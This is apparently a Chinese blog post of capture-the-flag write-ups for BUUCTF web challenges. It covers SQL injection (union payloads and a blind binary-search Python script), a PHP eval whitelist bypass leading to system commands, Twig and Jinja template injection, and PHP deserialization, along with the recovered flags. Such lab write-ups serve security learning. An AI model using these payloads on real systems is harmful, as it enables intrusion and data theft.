BUUCTF_WEB_20200927

WEB-[SWPU2019]Web1

  • 考点:二次注入

注册登陆账号,拿到一个申请广告的功能,注册进去发现可以发广告,这种格式不是sql注入就是xss漏洞。

注册进去发现可以发广告,这种格式不是sql注入就是xss漏洞。

试试sql注入在标题上进行判断,然后查数据库是什么,发现是马里奥数据库

他说了这能查表名:然后就成了,有这么几个表,就一个一个试试-1'union//select//1,(select//group_concat(table_name)//from/**/mysql.innodb_table_stats),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

然后注入上一句,就在users表里边-1'union//select//1,(select//group_concat(b)//from(select//1,2,3//as//b//union//select*from//users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

flag

flag{f7c15424-76ff-4dda-b55e-7dc6d0fa4d39}

WEB-[CISCN 2019 初赛]Love Math

  • 考点:
<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
} 

看代码,是需要绕后正则和白名单,最后通过eval执行php代码。类似于通过异或等运算构造payload,这里需要用到的是白名单里的math函数。先看一个函数 base_convert(),base_convert(696468,10,36) 得到 base_convert(696468,10,36)=exec思路是通过exec执行传入的命令,如exec($_GET[‘xxx’]) ,但是过滤了$blacklist = [' ', '\t', '\r', '\n',''', '"', '`', '[', ']'];通过 getallheaders()函数,会返回Request参数和内容,只针对于Apache。构造payload:

http://7f2c08ea-83d4-40b3-8a39-67c96e0090f6.node3.buuoj.cn/?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=ls%20/

scandir() 函数:返回指定目录中的文件和目录的数组。
base_convert() 函数:在任意进制之间转换数字。
dechex() 函数:把十进制转换为十六进制。
hex2bin() 函数:把十六进制值的字符串转换为 ASCII 字符。
var_dump() :函数用于输出变量的相关信息。
readfile() 函数:输出一个文件。该函数读入一个文件并写入到输出缓冲。若成功,则返回从文件中读入的字节数。若失败,则返回 false。您可以通过 @readfile() 形式调用该函数,来隐藏错误信息。
语法:readfile(filename,include_path,context)

继续构造payload:/?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=cat%20/flag

WEB-[BJDCTF2020]Cookie is so stable

  • SSTI

题目提示cookie,根据提示,cookie中的user是注入点,在user处尝试注入{{7*'7'}} 回显49,payload{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

payload:{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}};

flag

flag{49406a9d-6028-4601-aaf8-ed7450572249}

WEB-[网鼎杯 2020 朱雀组]phpweb

  • 考点:php反序列化

这里用到了一个call_user_func()函数,date是一个函数,后面的p应该是它的参数,读取源码 func=file_get_contents&p=index.php

 <?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>

基本上可以得到webshell的全禁止了,而且还有一个小写的转化,不过里面的Test很鸡肋啊,一看就是要你反序列化的啊。于是:

<?php
class Test{
    var $p = "ls /";
    var $func = "system";


}
$c = new Test();
echo serialize($c);
?>

payload:func=unserialize&p=O:4:"Test":2:

再去读tmp,一般tmp对普通用户有权限

找到了flag的位置func=unserialize&p=O:4:"Test":2:

flag

flag{e1c69fa8-c323-4e3e-8888-d87f575ffff8}

WEB-[WesternCTF2018]shrine

  • 考点:

拿到一段py代码

import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')


@app.route('/')
def index():
    return open(__file__).read()


@app.route('/shrine/')
def shrine(shrine):

    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

    return flask.render_template_string(safe_jinja(shrine))


if __name__ == '__main__':
    app.run(debug=True)

首先在shrine路径下测试ssti能正常执行/shrine/{{ 2+2 }}

接着分析源码 app.config['FLAG'] = os.environ.pop('FLAG'),注册了一个名为FLAG的config,猜测这就是flag,如果没有过滤可以直接{{config}}即可查看所有app.config内容,但是这题设了黑名单[‘config’,‘self’]并且过滤了括号return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s,上面这行代码把黑名单的东西遍历并设为空,例如:/shrine/{{config}},不过python还有一些内置函数,比如url_for和get_flashed_messages /shrine/{{url_for.globals}}

看到current_app意思应该是当前app,那我们就当前app下的config:/shrine/{{url_for.globals['current_app'].config}}

返回之前在Flask中通过 flash() 传入的闪现信息列表。把字符串对象表示的消息加入到一个消息队列中,然后通过调用 get_flashed_messages() 方法取出(闪现信息只能取出一次,取出后闪现信息会被清空)/shrine/{{get_flashed_messages.globals['current_app'].config}}

flag

flag{e93dcad0-442e-47c1-9a57-36f801c49d58}

WEB-[BJDCTF 2nd]简单注入

  • 二分法

访问robots.txt,得到提示存在hint.txt

访问hint.txt得到password如果传入username=admin\ password=123456#就会变成select * from users where username='admin' and password='123456#';可以理解为

select * from users where username='admin and password=' 恶意代码 #';

直接读取password的值,回显BJD needs to be stronger

直接上二分法脚本

# coding:utf-8
import requests
import time
url = 'http://694f9d7f-b465-4591-a54d-badacbccd160.node3.buuoj.cn/'
headers = {
    'Host': '694f9d7f-b465-4591-a54d-badacbccd160.node3.buuoj.cn',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
    'Accept-Encoding': 'gzip, deflate',
    'Content-Type': 'application/x-www-form-urlencoded',
    'Content-Length': '61',
    'Origin': 'http://694f9d7f-b465-4591-a54d-badacbccd160.node3.buuoj.cn/',
    'Connection': 'close',
    'Referer': 'http://694f9d7f-b465-4591-a54d-badacbccd160.node3.buuoj.cn/',
    'Upgrade-Insecure-Requests': '1'
}
res = ''
for i in range(1,21):
    print(i)
    left = 31
    right = 128
    mid = left + ((right - left)>>1)
    while left < right:
        data = {
            'username':'admin\\',
            'password':'^(ascii(substr(password,{},1))>{})#'.format(i,mid)
            }
        r = requests.post(url = url, headers = headers, data = data)
        time.sleep(1)
        #print(mid)
        if r.status_code == 429:
            print('too fast')
            time.sleep(2)
        if 'BJD needs to be stronger' not in r.text:
            left = mid + 1
        elif 'BJD needs to be stronger'  in r.text:
            right = mid
        mid = left + ((right-left)>>1)
    res += chr(mid)
    print(str(mid),res)
#密码:OhyOuFOuNdit


flag

flag{27178c70-46cd-4428-880d-e8fe47893880}

WEB-[安洵杯 2019]easy_serialize_php

  • PHP序列化

打开文件:

<?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));

根据源码提示查看phpinfo(),发现存在d0g3_f1ag.php

这个题目里根本没有读取session文件,这个题只是把$_SESSION数组进行了serialize(),SESSION有个三个键分别为user,function,img,控制img的值,就得放一个让img变成base64加密后的d0g3_f1ag.php,因为我们知道有过滤数组,我们就可以通过这个来吞掉后面的内容从而形成一个完整的序列化

再将d0g3_fllllllag的base64重新传入,/d0g3_fllllllag进行base64加密L2QwZzNfZmxsbGxsbGFn,恰巧也是20位。就替换原来的就好

flag

flag{1f2e3372-2b5a-440a-b2b8-8c0ad1f9091d}

posted @ 2020-09-27 21:57  WANGXIN_YU  阅读(612)  评论(0)    收藏  举报